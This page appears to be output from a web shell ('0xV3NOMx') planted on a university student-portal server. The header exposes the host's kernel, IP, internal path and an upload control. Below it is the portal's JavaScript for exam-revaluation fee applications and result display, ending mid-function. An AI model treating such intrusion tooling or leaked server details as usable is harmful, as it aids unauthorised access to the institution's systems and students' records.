0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.12.152.100


Current Path : /var/www/html/studentportal_wait/js_old/
Upload File :
Current File : //var/www/html/studentportal_wait/js_old/MainPage2.js

var data = [];
var GrandTtl = 0;

const getPaymentTypes = () => {
  $.ajax({
    type: "GET",
    url: "src/getPaymentTypes.php?a=getPaymentTypes",
    success: function(response) {
      var { status, error_code, paytype } = JSON.parse(response);

      if (error_code == 0) {
        var paymentTypes = `<div class="container"><div class="row px-1">`;
        paytype.forEach((el, i) => {
          // if(${el.})
          console.log("paytype", el, i); //transform: rotate(-45deg) scale(0.9);

          var prntChallan =
            el.bank_name.toLowerCase().includes("post") ||
            el.bank_name.toLowerCase().includes("challan") == true
              ? `<a href="#" class="btn btn-primary" onClick="">Print Challan</a>`
              : `<a href="#" class="btn btn-primary">Make Payment</a>`;

          paymentTypes += `             
            <div class="card col-lg-3 col-sm-12 mr-3 p-0">
              <img src="${el.logo}" class="card-img-top" alt="logo" height="15%" style="  display: block;
              margin-left: auto;
              margin-right: auto;
              width: 50%;">
              <div class="card-body">
              
                <h5 class="card-title">${el.bank_name}</h5>
                <p class="card-text">${el.charges}</p>                    
                <div style = "text-align: center">${prntChallan}</div>
             </div>
            </div>             
        `;
        });
        paymentTypes += `</div></div>`;
        // return paymentTypes;
        $("#idpayType").html(paymentTypes);
      }
    }
  });
};
const getAmt = (subcode, el) => {
  var typeFee = 0;
  var arr = [];
  var AppFee = 0;
  var grandttl = 0;
  var applFee = 0;
  var isRT = false;
  var isRV = false;
  var isPC = false;
  var isCV = false;

  $("#TblMain")
    .find("> tbody > tr ")
    .each(function(i, tr) {
      typeFee = 0;
      subcode = $(tr)
        .find("td.subcode")
        .text();

      // applFee = $(tr)
      //   .find("td.appFee")
      //   .text();
      // console.log("applFee", applFee);

      $(tr)
        .find("input[type=checkbox]")
        .each(function(i, chk) {
          if ($(chk).is(":checked")) {
            var name = $(chk).attr("name");

            if (name == "RV") {
              isRV = true;
            }
            if (name == "RT") {
              isRT = true;
            }
            if (name == "PC") {
              isPC = true;
            }
            if (name == "CV") {
              isCV = true;
            }

            var fee = $(el)
              .parents("tr")
              .find(`input[type=hidden][name=${name}]`)
              .val();

            typeFee += parseInt(fee);

            var obj = {
              fsubcode: subcode,
              fcorrtype: name,
              ffee: fee
            };
            arr.push(obj);
          }
        });

      $("#td_" + subcode).text(typeFee);

      grandttl += parseInt(typeFee);
    });

  var rowappfee = 0;
  if (isRV) {
    applFee = $("#TblMain")
      .find("input[type=hidden][name=RVappFee]")
      .val();
    grandttl += parseInt(applFee);
    rowappfee += parseInt(applFee);
  }
  if (isRT) {
    applFee = $("#TblMain")
      .find("input[type=hidden][name=RTappFee]")
      .val();
    grandttl += parseInt(applFee);
    rowappfee += parseInt(applFee);
  }
  if (isPC) {
    applFee = $("#TblMain")
      .find("input[type=hidden][name=PCappFee]")
      .val();
    grandttl += parseInt(applFee);
    rowappfee += parseInt(applFee);
  }
  if (isCV) {
    applFee = $("#TblMain")
      .find("input[type=hidden][name=CVappFee]")
      .val();
    grandttl += parseInt(applFee);
    rowappfee += parseInt(applFee);
  }

  data = arr;
  console.log("data", data);

  GrandTtl = grandttl;
  $("#appTtl").text(rowappfee);
  $("#grdTtl")
    .text(grandttl)
    .css({ "font-weight": "bold" });
};

function applyRVRT() {
  $("#loadtab").css({ padding: "0px", "margin-bottom": "10%" });
  $("#loadtab").load("html_modules/rvrtapp.html?v=" + version, function() {
    $.ajax({
      type: "GET",
      url: "src/results.php?a=getExamno",
      success: function(response) {
        var { error_code, data, status } = JSON.parse(response);
        console.log(data, error_code);
        var examno = data;
        html1 = "";
        // console.log(data.length);
        if (error_code == 0) {
          var options = ``;

          for (let i in examno) {
            options += `<option value="${examno[i]["fexamno"]}">${
              examno[i]["fexamno"]
            } - ${examno[i]["fexamname"]}</options>`;
          }
          console.log("opt", options);
          $("#idexamNo").html(options);
        }
        if (error_code == 1) {
          $("#errstatus").html(
            `<h6 style="color:red">No Exam Number to choose</h6>`
          );
          swal(
            {
              title: "No results found",
              type: "warning",
              showCancelButton: false,
              confirmButtonColor: "#5495ff",
              confirmButtonText: "OK",
              closeOnConfirm: false
            },
            function(isConfirm) {
              if (isConfirm) swal.close();
              loadProfile();
              $("#profile").addClass("active");
              $("#resultsmenu").removeClass("active");
            }
          );
        }
        var selOpt = $("#idexamNo option:first")
          .attr("selected", "selected")
          .val();

        console.log(selOpt);
        applyRVRTForm(selOpt);
      }
    });
  });
}

function applyRVRTForm(examno) {
  // $("#loadtab").load("html_modules/rvrtapp.html?v=" + version, function() {

  // $.blockUI({ message: "<img src='images/Loading_icon.gif' border='0'>" });
  //      url: "src/applyrvrt.php",
  $.ajax({
    type: "get",
    url: "src/rvrtapp.php?a=GetRevalutionDetails",
    data: `&examno=${examno}&regno=${FREGNO}`, // + examno
    success: response => {
      //      $.unblockUI();
      var { data, thead, rvappfee, xrappfee, appFee } = JSON.parse(response);
      // console.log("resss", JSON.parse(response));
      console.log({ data, thead });
      tblTD = "";
      is_rv = data[0]["is_rv"];
      is_rt = data[0]["is_rt"];
      is_xr = data[0]["is_xr"];
      is_cv = data[0]["is_cv"];
      FNAME = data[0]["FNAME"];
      curDate = data[0]["cur_date"];
      FRVFEE = data[0]["FRVFEE"];
      FRTFEE = data[0]["FRTFEE"];
      FXRFEE = data[0]["FXRFEE"];
      FCVFEE = data[0]["FCVFEE"];

      //=========== Display Fee Details for RVRT ================//

      var FeeCard = `<div class="card" style="
      background: transparent;
      box-shadow: none;">
        <div class="card-content">
          <h5>Fee Details</h5>
          <div class="row" style="margin:auto 0px"> `;

      for (i in thead) {
        if (thead[i]["ele"] == 1) {
          FeeCard += ` 
          <div class="col-lg-3 col-md-6 col-xs-6">
            ${thead[i]["Name"]}  : ₹${thead[i]["fee"]}/-
          </div>`;
          
        }
      }

      FeeCard += `
      </div>
      </div>
      </div>`;
      $("#idFeeDisp").html(FeeCard);
      // `
      //   <table>
      //     <tr>
      //     <td style="width:20%"><b>Fees Details </b></td><td></td>
      //     <td>Revaluation :</td><td style="width:10%"> <b>₹${FRVFEE}/-</b></td>
      //     <td>ReTotalling :</td><td style="width:10%"> <b>₹${FRTFEE}/-</b></td>
      //     <td >Photocopy :</td><td style="width:10%"> <b>₹${FXRFEE}/-</b></td>
      //     <td>Challenged Reval. :</td><td style="width:10%"> <b>₹${FCVFEE}/-</b></td>
      //     </tr>
      //   </table>
      //   `

      tbl = `
        <table class="table table-condensed table-bordered table-striped table-hover col-lg-12 col-md-12 col-xs-12"
        style="margin:0px;border-left-style: hidden;border-right-style: hidden;" id="TblMain">
        <thead>
          <tr style = "height:40px;background-color: #184F76 !important;color: #fff;">
          <th class="text-center">Sl. No</th>
          <th class="text-center">Sub. Code</th>
          <th class="text-center">Sub. Name</th>        
        `;

      tot_col = 0;
      var j = 0;
      var appTD = "";
      var cnt = 0;
      for (i in thead) {
        if (thead[i]["ele"] == 1) {
          tbl += `<th class="text-center">${i.toUpperCase()}</th>`;
          // console.log("ifff", thead[i]["fee"], thead[i]["H"]);
          input = `<input type="hidden" value=${thead[i]["fee"]} id="amt_${
            thead[i]["fee"]
          }"/>`;
          cnt++;
        }

        // tblTD += `
        //   <td id="${"rowTD_"+j}">
        //   <input type="hidden" value=${thead[i]["fee"]} id="amt_${thead[i]["fee"]}"/>
        //   <input type="checkbox" class="filled-in" id="Fee_${thead[i]["fee"]}"
        //     onChange="getAmt(${thead[i]["fee"]})"
        //     style="opacity:1;position:unset" />
        //   </td>;
        // `;
        // if (thead[i]["ele"] == "1") { value="${thead[i]["fee"]}"
        //   console.log("ifff",thead[i]["H"]);
        //   // res = thead[i]["H"];
        //   // tot_col++;
        //   // tbl += `<th class="text-center">${res}</th>`;
        // }else{
        //   console.log("else",thead[i]["H"]);
        // }
        j++;
      }
      tbl += `<th class="text-center">Total</th></tr></thead><tbody>`;

      data.map((el, i) => {
        tbl += `
          <tr id="${"row_" + i}">
            <td style="text-align:center">${i + 1}</td>
            <td class="subcode" style="text-align:center">${el.FSUBCODE}</td>
            <td>${el.FSUBNAME}</td>`;

        for (i in thead) {
          if (thead[i]["ele"] == 1) {
            tbl += `                          
                <td id="${"rowTD_" + j}" style="text-align:center">
                <input type="hidden" value=${thead[i]["fee"]} id="amt_${
              el.FSUBCODE
            }" name="${thead[i]["H"]}"/>
                <input type="checkbox" class="filled-in" id="${thead[i]["H"]}_${
              el.FSUBCODE
            }"  name="${thead[i]["H"]}"
                  onChange="getAmt('${el.FSUBCODE}', this)"              
                  />
            <label for="${thead[i]["H"]}_${el.FSUBCODE}"></label>

                </td>`;
          }

          // if (thead[i]["ele"] == "1") { value="${thead[i]["fee"]}"
          //   console.log("ifff",thead[i]["H"]);
          //   // res = thead[i]["H"];
          //   // tot_col++;
          //   // tbl += `<th class="text-center">${res}</th>`;
          // }else{
          //   console.log("else",thead[i]["H"]);
          // }
          j++;
        }
        tbl += `<td id="td_${el.FSUBCODE}">
                0</td>
              </tr>`;
      });
      tbl += `
        <tr>
        <td colspan="3" style="text-align:right">Application Fee</td>`;

      const appfee = appFee[0];
      for (i in thead) {
        if (thead[i]["ele"] == 1 && thead[i]["H"] == "RV") {
          tbl += `<td class="RVappFee"><input type="hidden" name="RVappFee" value="${appfee.RV}"/>${appfee.RV}</td>`;
        }
        if (thead[i]["ele"] == 1 && thead[i]["H"] == "RT") {
          tbl += `<td class="RTappFee"><input type="hidden" name="RTappFee" value="${appfee.RT}"/>${appfee.RT}</td>`;
        }
        if (thead[i]["ele"] == 1 && thead[i]["H"] == "PC") {
          tbl += `<td class="PCappFee"><input type="hidden" name="PCappFee" value="${appfee.PC}"/>${appfee.PC}</td>`;
        }
        if (thead[i]["ele"] == 1 && thead[i]["H"] == "CV") {
          tbl += `<td class="CVappFee"><input type="hidden" name="CVappFee" value="${appfee.CV}"/>${appfee.CV}</td>`;
        }
        if (thead[i]["ele"] == 1 && thead[i]["H"] == "RI") {
          tbl += `<td class="RIappFee"><input type="hidden" name="RIappFee" value="${appfee.RI}"/>${appfee.RI}</td>`;
        }
      }
      // appFee.forEach(el => {
      //   tbl += `<td class="RVappFee"><input type="hidden" name="RVappFee" value="${el.RV}"/>${el.RV}</td>`

      //   tbl += `<td class="RTappFee"><input type="hidden" name="RTappFee" value="${el.RT}"/>${el.RT}</td>`
      //   tbl += `<td class="PCappFee"><input type="hidden" name="PCappFee" value="${el.PC}"/>${el.PC}</td>`
      //   tbl += `<td class="CVappFee"><input type="hidden" name="CVappFee" value="${el.CV}"/>${el.CV}</td>`;
      // });

      tbl += `<td id="appTtl"></td>
      </tr>
          <tr>
          <td colspan="${3 + cnt}" style="text-align:right">Total</td>
          <td id="grdTtl">${GrandTtl}</td>
          </tr>
        </tbody>
        </table>`;

      tbl += `<div>
      <button type="button" class="btn btn-primary waves-effect mr-5 mt-5 pull-right" onclick = "saveRVRTApp('${examno}')">Apply</button>
      </div>`;
      // <tr>
      // <td class="grandTtl"></td>
      // </tr>
      // console.table(tbl)
      $("#rvrt_table").html(tbl);
      //=======================//
    }
  });
}

//================== Save RVRT Application =========================//
const saveRVRTApp = examno => {
  if (GrandTtl == 0) {
    alert("Please select one subject to proceed further.");
    return;
  }

  $.ajax({
    type: "POST",
    url: "src/rvrtapp.php?a=SaveRevalution",
    data: `examno=${examno}&regno=${FREGNO}&data=${JSON.stringify(
      data
    )}&grand_total=${GrandTtl}`, // + examno
    success: response => {
      console.log("RES", JSON.parse(response));
      var { status, error_code, appno, paytype } = JSON.parse(response);
      if (error_code == "0") {
        rvrtResponse(appno);
        GrandTtl = 0;
      } else {
        alert("application failed");
      }
    }
  });
};

const rvrtResponse = appno => {
  $("#loadtab").load("html_modules/payment_page.html?v=" + version, function() {
    var studDet = ``;
    var registrationStats = "";

    studDet += `
        <tr>
        <td width="15%">Register number</td>
        <td width="2%"> : </td>
        <td width="30%"> <b>${FREGNO}</b></td></tr>`;

    studDet += `
        <tr>
          <td>Student Name</td>
          <td > : </td>`;

    studDet +=
      FNAME != ""
        ? `<td width="68%"> <b>${FNAME}</b></td>`
        : `<td width="68%"> </td>`;

    studDet += `</tr>
        <tr>
          <td>Application No.</td>
          <td > : </td>
          <td> <b>${appno} </b></td></tr>`;

    $("#AppDet").html(studDet);

    registrationStats += `<b style="color:green">Registered Successfully !!</b>`;
    $("#regStat").html(registrationStats);

    getPaymentTypes();
  });
};

//================== Your Application  RVRT =========================//

const yourAppsRVRT = () => {
  $.ajax({
    type: "get",
    url: "src/yourAppsRVRT.php?a=getYourAppsRVRT",
    data: `&regno=${FREGNO}`,
    success: response => {
      console.log("RES", JSON.parse(response));
      var { status, error_code, tableHeader, tableData } = JSON.parse(response);

      if (error_code == "0") {
        $("#loadtab").load(
          "html_modules/listrvrtApps.html?v=" + version,
          function() {
            var tblDet = `
            <thead style = "height:40px;background-color: #184F76 !important;color: #fff;">
              <tr >`;

            tableHeader.forEach((el, i) => {
              tblDet += `<th class="text-center">${el}</td>`;
            });

            tblDet += `
            </tr>
            </thead>
            <tbody>`;

            tableData.forEach((el, i) => {
              var payBtn =
                el.PAYSTATUS == ""
                  ? `<Button type="button" class="btn btn-primary waves-effect mr-1" 
                  id="idpayment" onclick="rvrtResponse(${el.APPNO})">Make Payment</button>`
                  : `<a class="btn btn-primary waves-effect mr-1" href="${el.link}">${el.print}</a>`;

              tblDet += `
              <tr style="text-align:center">
                <td style="width:10px">${el.sl_no}</td>
                <td>${el.APPNO}</td>
                <td>${el.FTOTAL}</td>
                <td>${el.FAPPDATE}</td>
                <td>${el.status}</td>
                <td>${payBtn}</td>
                </tr>`;
            });

            $("#AppsDet").html(tblDet);
          }
        );
      } else {
        alert("No Applications Found.");
      }
    }
  });
};

//============== End Your Applications - RVRT ==================//

// function loadResults() {
//   var sem1;
//   var ufolder;
//   var uregno;
//   var usem;
//   var status;
//   $("#loadtab").load("html_modules/results.html?v=" + version, function() {
//     var id = "";
//     var dataString = "&id=" + id;
//     $.blockUI({ message: "<img src='images/Loading_icon.gif' border='0'>" });
//     //      url: "src/applyrvrt.php",
//     $.ajax({
//       type: "post",
//       url: "src/results.php",
//       data: dataString,
//       success: function(response) {
//         $.unblockUI();

//         response = eval("(" + response + ")");
//         status = response.status;
//         if (status === "success") {
//           var sem = response.resdet;
//           usem = response.sem;
//           var folder = response.folder;
//           ufolder = response.folder;
//           var fregno = response.fregno;
//           uregno = response.fregno;
//           fcaste = response.fcaste;
//           UNIVCODE = response.UNIVCODE;
//           var category = "";
//           if (UNIVCODE == "032") {
//             if (fcaste == "SC" || fcaste == "ST") category = "SCST";
//           }
//           /*if(sem.length > 1)
// 				{*/

//           var list = "";
//           var div = "";
//           console.log(sem);

//           Object.size = function(obj) {
//             var size = 0,
//               key;
//             for (key in obj) {
//               if (obj.hasOwnProperty(key)) size++;
//             }
//             return size;
//           };

//           if (location.protocol != "https:") {
//             var protocol = "http://";
//           } else {
//             var protocol = "https://";
//           }

//           // Get the size of an object
//           var size = Object.size(sem);

//           for (var i = 0; i < size - 1; i++) {
//             var cat = sem[i];
//             sem1 = sem[0].fexamno;
//             list += `<li role="presentation" id = "sem_${cat.fexamno}">
// 								<a href="#${cat.fexamno}"   data-toggle="tab">
// 									<i class="material-icons">layers</i> ${cat.fexamname}
// 								</a>
// 							</li>`;
//             div += `<div role="tabpanel" class="tab-pane fade in " id="${
//               cat.fexamno
//             }">
// 		                        <iframe
// 		                        src="${protocol}results.logisys.org/${ufolder}/result.php?r=${
//               cat.fregno
//             }&e=${cat.fexamno}&ct=${category}"
// 		                        id = "i${cat.fexamno}results"
// 		                         width="100%" style="height:82vh;background: #fff;min-height: 50px;
// 							    box-shadow: 0 2px 10px rgba(0, 0, 0, 0.2);
// 							    position: relative;
// 							    border: 0;">
// 								</iframe>
// 		                </div>`;
//           }

//           $("#resultslink").html(list);
//           $("#divlink").html(div);
//           $("#" + sem[0].fexamno).addClass("active");
//           $("#sem_" + sem[0].fexamno).addClass("active");
//           //}
//           /*else
// 				{
// 					sem1 = sem[0].fexamno;
// 					$('#results').html(`<iframe
// 						src="${protocol}results.logisys.org/${ufolder}/result.php?r=${uregno}&e=${sem1}&ct=${category}"
// 						width="100%" style="height:87vh;background: #fff;min-height: 50px;
// 					    box-shadow: 0 2px 10px rgba(0, 0, 0, 0.2);
// 					    position: relative;
// 					    border: 0;"></iframe>`);
// 				}*/
//         } else {
//           swal(
//             {
//               title: "No results found",
//               type: "warning",
//               showCancelButton: false,
//               confirmButtonColor: "#5495ff",
//               confirmButtonText: "OK",
//               closeOnConfirm: false
//             },
//             function(isConfirm) {
//               if (isConfirm) swal.close();
//               loadProfile();
//               $("#profile").addClass("active");
//               $("#resultsmenu").removeClass("active");
//             }
//           );
//         }
//       }
//       /*
// 		complete: function ()
// 		{
// 			if(status === 'success')
// 			{
// 				if(usem.length > 1)
// 		    		$(`#i${sem1}results`).attr('src', `${protocol}logisys.net.in/results/${ufolder}/result.php?r=${uregno}&e=${sem1}&ct=`);
// 		    }
// 	    }*/
//     });
//   });
// }
//=====NewFunction=====//
function loadResults() {
  $("#loadtab").css({ padding: "0px", "margin-bottom": "10%" });
  $("#loadtab").load("html_modules/results.html?v=" + version, function() {
    var regno = $("#side_regno").val();
    console.log("regno", regno);
    $.ajax({
      type: "GET",
      url: "src/results.php?a=getExamno",
      success: function(response) {
        var { error_code, data, status } = JSON.parse(response);
        console.log(data, error_code);
        var examno = data;
        html = "";
        html1 = "";
        console.log(data.length);
        if (error_code == 0) {
          var options = ``;

          for (let i in examno) {
            options += `<option value="${examno[i]["fexamno"]}">${
              examno[i]["fexamno"]
            } - ${examno[i]["fexamname"]}</options>`;

            // if ($("#res").prop("id")) {
            //   console.log("resres", examno[i]["fexamno"]);
            //   html += `
            // <input type="radio" class="form-check-input" id="${
            //   examno[i]["fexamno"]
            // }" name="examno" onclick="getResults('${examno[i]["fexamno"]}')">
            // <label class="form-check-label" for="${examno[i]["fexamno"]}">${
            //     examno[i]["fexamno"]
            //   }</label>`;
            // }
            // if ($("#resdet").prop("id")) {
            //   console.log("resdetresdetresdetresdetresdet");
            //   html1 += `
            // 	<input type="radio" class="form-check-input" id="resdet${
            //     e.fexamno
            //   }" name="examno1" onclick="getResults('${e.fexamno}')">
            // 	<label class="form-check-label" for="resdet${e.fexamno}">${
            //     e.fexamno
            //   }</label>`;
            // }
          }
          console.log("opt", options);
          $("#idexmNo").html(options);
        }
        if (error_code == 1) {
          $("#errstatus").html(
            `<h6 style="color:red">No Exam Number to choose</h6>`
          );
          swal(
            {
              title: "No results found",
              type: "warning",
              showCancelButton: false,
              confirmButtonColor: "#5495ff",
              confirmButtonText: "OK",
              closeOnConfirm: false
            },
            function(isConfirm) {
              if (isConfirm) swal.close();
              loadProfile();
              $("#profile").addClass("active");
              $("#resultsmenu").removeClass("active");
            }
          );
        }
        $("#disExNo").html(html);
        var selOpt = $("#idexmNo option:first")
          .attr("selected", "selected")
          .val();

        // $("input:radio[name=examno]:first").attr("checked", true);
        // inputs = $("#radios").find("input[type=radio]");
        console.log(selOpt);
        getResults(selOpt);
        // inputs.map((i, el) => {
        //   // console.log(i);
        //   if ($("#" + el.id).is(":checked")) {
        //     console.log(el.id);
        //     getResults(el.id);
        //   }
        // });

        // $("#disExNo1").html(html1);
        // <div class="d-flex ">
        // <h5>Father : ${studDet["FFATNAME"]} </h5>

        // <div class="ml-auto"><h5>Mother : ${studDet["MOTNAME"]}</h5></div>
        // </div>
      }
    });
    // getResults();
  });
}

//=== Result Overview ===//

var examName = "";
const getResults = (examno, regno) => {
  console.log(examno, regno);
  examno = document.getElementById("idexmNo").value;

  $.blockUI({ message: "<img src='images/Loading_icon.gif' border='0'>" });

  $.ajax({
    type: "get",
    url: "src/results.php?a=getResults&examno=" + examno,
    success: function(response) {
      $.unblockUI();

      var {
        error_code,
        body,
        headers,
        studDet,
        univcode,
        footerRemarks,
        dates,
        corrtype
      } = JSON.parse(response);

      var link = "";
      console.log({ error_code, body, headers, studDet, univcode, corrtype });

      if (error_code == 0) {
        var regno = studDet["fregno"];
        var html = ``;
        var personalDet = ``;
        var passingCriteria = ``;
        var resSumm = ``;
        var CollDet = ``;
        var finalNote = ``;
        // console.log("Univ name", UNIVNAME);
        //=== ACU - Result Details should not be shown ===//
        if (univcode != "040") {
          getResDet(examno);
        } else {
          $("#subDetResBtn").hide();
        }
        $("#SubjResDet").hide();
        $("#ResBrfBtn").hide();

        examName = studDet["FRESEXAMDATE"];

        // $("#personalHead").html(`<h5 style="color:white;">Exam Details</h5>`);

        $("#examName")
          .html(
            `<h4 style="line-height:2rem;text-align:center">${
              studDet["FEXAMNAME"]
            },  ${studDet["FDEGREE"]} [${studDet["FDESCPN"]}]
        </br>
        Results of ${studDet["FRESEXAMDATE"]} Examination
        </h4><hr class="mx-0 my-0" />`
          )
          .css({
            padding: "0px 0px 0px 10px"
          });

        personalDet += `
        <tr>
        <td width="15%">Register number</td>
        <td width="2%"> : </td>
        <td width="30%"> <b>${regno}</b></td>
        <td width="15%">Father Name</td>
        <td width="2%"> : </td>`;

        personalDet +=
          studDet["FFATNAME"] != ""
            ? `<td width="68%"> <b>${studDet["FFATNAME"]}</b></td>`
            : `<td width="68%"> </td>`;

        personalDet += `</tr>
        <tr>
          <td>Student Name</td>
          <td > : </td>
          <td> <b>${studDet["FNAME"]} </b></td>
          <td>Mother Name</td>
          <td > : </td>`;

        personalDet +=
          studDet["MOTNAME"] != ""
            ? `<td> <b>${studDet["MOTNAME"]} </b></td>`
            : `<td></td`;

        personalDet += `</tr>`;
        $("#studentDet").html(personalDet);
        // .css({ "background-color": "lightgrey" });

        if (corrtype != undefined || corrtype != null) html += `${corrtype}`;

        //=========== Result Announced Date and Dates for Correction type ==============//
        $("#ResAccDates")
          .html(
            `<p>Result Announced Date : <b>${dates["accDate"]}    </b> ${
              dates["scroll_txt"]
            }</p>`
          )
          .css({ color: "red" }); //"padding-top": "15px"
        // `<marquee><p>Result Announced Date : <b>${
        //   dates["accDate"]
        // }    </b> ${dates["scroll_txt"]}</p></marquee>`

        // $("#ResDate")
        //   .html(`<p>Result Announced Date : <b>${dates["accDate"]}</b> ${dates["scroll_txt"]}</p>`)
        //   .css("color", "red");

        //=== Dates for Correction type ===//
        // $("#dates")
        //   .html(dates["scroll_txt"])
        //   .css("color", "red");

        // html += `
        // <div id="prntDet"></div>
        // <div class="row">
        // <div class="text-center col-lg-8 col-lg-offset-2 col-md-8 col-md-offset-2 col-sm-12 col-xs-12">
        //   <h5>${studDet["FEXAMNAME"]},  ${studDet["FDEGREE"]} [${
        //   studDet["FDESCPN"]
        // }]</h5>`;

        // if (studDet["FFATNAME"] != "") {
        //   html += `<h5>Father : ${studDet["FFATNAME"]} </h5>
        // <h5>Mother : ${studDet["MOTNAME"]}</h5>
        // </div>
        // </div>`;
        // }

        $("#idResHeader").html(`<h5 style="color:white;">Marks List</h5>`);

        //=== Withheld Details ===//
        if (body["held_cnt"] != undefined) {
          if (univcode == "003D" && body["fwhrem"] == "EXAM FEE NOT PAID")
            html += `<a target = '_blank' rel='noopener noreferrer' style = 'color:blue' 
          href="http://logisys.net.in/student/kusdde/index.php?r=${regno}">
          clik here to apply</a>`;
          else html += "";

          // if (univcode == "041" || univcode == "003D" || univcode == '003' || univcode == '008') {
          html += `<table align=center class='result_table_header'>
          <tr style='height:22px;'>
          <td align=center><span style='font-weight:bold;color:red;font-size: 21px;'>WITHHELD</span></td>
          </tr>
          <tr style='height:22px;'>
            <td align=center>
            <span style='font-weight:bold;font-size: 18px;align:center;'>Withheld Reason : <span style='color:red;'>${
              body["fwhrem"]
            }</span></span>
            <td>
          </tr>
          </table>`;
          $("#SubjResDet").hide();
          // }

          //=== kusdde Withhed details ===//
          if (univcode == "003D") {
            html += `<table class="table table-bordered table-hover">
            <thead style = "height:40px;background-color: #184F76 !important;color: #fff;">
              <tr class="text-center">
                <th>Sl.No.</td>
                <th>Withheld Reason</td>
                <th>Remarks</td>
              </tr>
            </thead>
            <tr>
              <td align=center >1</td>
              <td align='left' >Exam Fee Not Paid</td>
              <td align=center >If Already paid, Send Exam Fee Paid Details to Registrar(Ev) Office.<br>Email id : regexamku@gmail.com</td>
            </tr>
            <tr>
                <td align=center >2</td>
                <td align='left' >Admission Not Approved By DDE </td>
                <td align=center >Contact Study Center / College</td>
            </tr>
              
            <tr>
              <td align=center>3</td>
              <td align='left'>Combination Not Approved By DDE</td>
              <td align=center>Contact Study Center / College</td>
            </tr>
            <tr>
              <td align=center>4</td>
              <td align='left'>IA. (TH) / I.A. (PR) Pending</td>
              <td align=center>Contact Study Center / College</td>
            </tr>
          </table>`;
            $("#ResTab2").hide();
          }
          html += `</br><hr>`;
          html += `<table align=left class='result_table_remarks'>
          <tr>
            <td align=left style='text-align:justify;'>${
              footerRemarks["FRESULT_REMARKS"]
            } </td>
          </tr>
          </table> `;

          $("#res_table").html(html);
          // $("#idHeader").html(head);
          return;
        }

        html += `
        <table class="table table-condensed table-bordered table-striped table-hover col-lg-12 col-md-12 col-xs-12"
        style="margin:0px;border-left-style: hidden;border-right-style: hidden;">
        <thead>
        <tr style = "height:40px;background-color: #184F76 !important;color: #fff;">`;
        //=== Result Table Header ===//
        for (var a = 0; a < headers.length; a++) {
          html += `<th class="text-center">${headers[a]}</th>`;
        }

        html += `</tr></thead> <tbody>`;

        //=== Result table detail ===//
        for (var b = 0; b < body.length; b++) {
          FTOTMARKS = body[b]["FTOTMARKS"];
          FMAXMARKS = body[b]["FMAXMARKS"];
          FSMAXMARKS = body[b]["fsmaxmarks"];
          FPERCENT = body[b]["FPERCENT"];
          FSCHEME = body[b]["FSCHEME"];
          RESULT = body[b]["result"];
          FLTP = body[b]["FLTP"];
          FCREDITS = body[b]["FCREDITS"];
          FCP = body[b]["FCP"];
          FGP = body[b]["FGP"];
          FCGPA = body[b]["FCGPA"];
          FPREVMAX = body[b]["FPREVMAX"];
          var ttl_marks = "";
          var viva_exam = "";
          var max_marks = "";
          if (FSCHEME == "CR" && univcode == "037") ttl_marks = ``;
          else {
            ttl_marks = `<td class="text-center">${body[b]["mthprue"]}</td>`;
          }
          if (FSCHEME != "CR" && univcode == "040") viva_exam = ``;
          else
            viva_exam = `<td class="text-center">${body[b]["viva_exam"]}</td>`;
          if (FSMAXMARKS != undefined)
            max_marks = `<td class="text-center">${FSMAXMARKS}</td>`;
          else max_marks = "";
          html += `
              <tr>
              <td class="text-center">${body[b]["sl_no"]}</td>
              <td>${body[b]["subject"]}</td>
              ${ttl_marks}
              ${max_marks}
              <td class="text-center">${body[b]["uni_exam"]}</td>
              ${viva_exam}
              <td class="text-center">${body[b]["ia_exam"]}</td>
              <td class="text-center">${body[b]["thtot"]}</td>`;

          if (body[b]["FSCHEME"] == "CR") {
            FCGPA = body[b]["FCGPA"];
            FSGPA = body[b]["FSGPA"];
            PERCENT = body[b]["FPERCENT"];

            if (
              body[b]["FCREDITS"] != undefined ||
              body[b]["FGP"] != undefined ||
              body[b]["FCP"] != undefined
            ) {
              // console.log("credits", FCREDITS);
              html += `<td class="text-center">${FCREDITS}</td>
              <td class="text-center">${FGP}</td>
              <td class="text-center">${FCP}</td>
              `;
            }
          } else {
            FPERCENT = body[b]["FPERCENT"];
          }

          body[b]["remarks"].toLowerCase() == "fail"
            ? (color = "red")
            : (color = "green");
          html += `<td class="text-center" style="color:${color}"><b>${
            body[b]["remarks"]
          }</b></td>
          </tr>`;
        }
        // console.log("FCGPA", FSGPA, FCGPA);
        if (FSCHEME == "CR") {
          var cgpa = "";
          if (FCGPA != "-") cgpa = `<b>C.G.P.A :</b> ${FCGPA}&nbsp&nbsp;`;
          if (univcode == "036") cgpa = "";
          //if acu-034-only sgpa, no result
          if (FCREDITS != undefined || FGP != undefined || FCP != undefined) {
            if (RESULT == "Fail, Promoted" || RESULT == "Fail") {
              //for 039 & 035
              color = "red";
              if(univcode == '039')
              resSumm += `<b>Max. Marks :</b> ${FMAXMARKS} </br>  <b>Sec. Marks :</b> ${FTOTMARKS} </br>
                <b>S.G.P.A :</b> ${FSGPA} </br><b>Result : Pass </b> </br> <b>Grade : <span style="color:red">${RESULT} </apsn></b>`             
                else
              resSumm += `<p ><b>Max. Marks :</b> ${FMAXMARKS} </br>  <b>Sec. Marks :</b> ${FTOTMARKS} </br>
              <b>S.G.P.A :</b> ${FPERCENT} </br> <b>Result :  <span style="color:red;">${RESULT}</span> </b></br> <b>Grade : </b> - `;
            } else {
              if(univcode == '035')
                resSumm += `<b>Max. Marks :</b> ${FMAXMARKS} </br>  <b>Sec. Marks :</b> ${FTOTMARKS} </br>
                <b>S.G.P.A :</b> ${FSGPA} </br>${cgpa} <br/> <b>Result : Pass </b> </br> <b>Grade : <span style="color:green">${RESULT} </apsn></b>`             
              else 
                resSumm += `<b>Max. Marks :</b> ${FMAXMARKS} </br>  <b>Sec. Marks :</b> ${FTOTMARKS} </br>
                <b>S.G.P.A :</b> ${FSGPA} </br> <b>Result : Pass </b> </br> <b>Grade :<span style="color:green"> ${RESULT}</span> </b>`;
            }
          } else if (FMAXMARKS != undefined) {
            var resColor = "";
            RESULT.toLowerCase().includes("fail")
              ? (resColor = "red")
              : (resColor = "green");

            if (univcode == "034")
              resSumm += `<b>Max. Marks :</b> ${FMAXMARKS} </br>   <b>Sec. Marks :</b> ${FTOTMARKS} </br> 
              <b>S.G.P.A : </b> ${PERCENT} </br> ${cgpa} `;
            else if (univcode == "036" || univcode == "008")
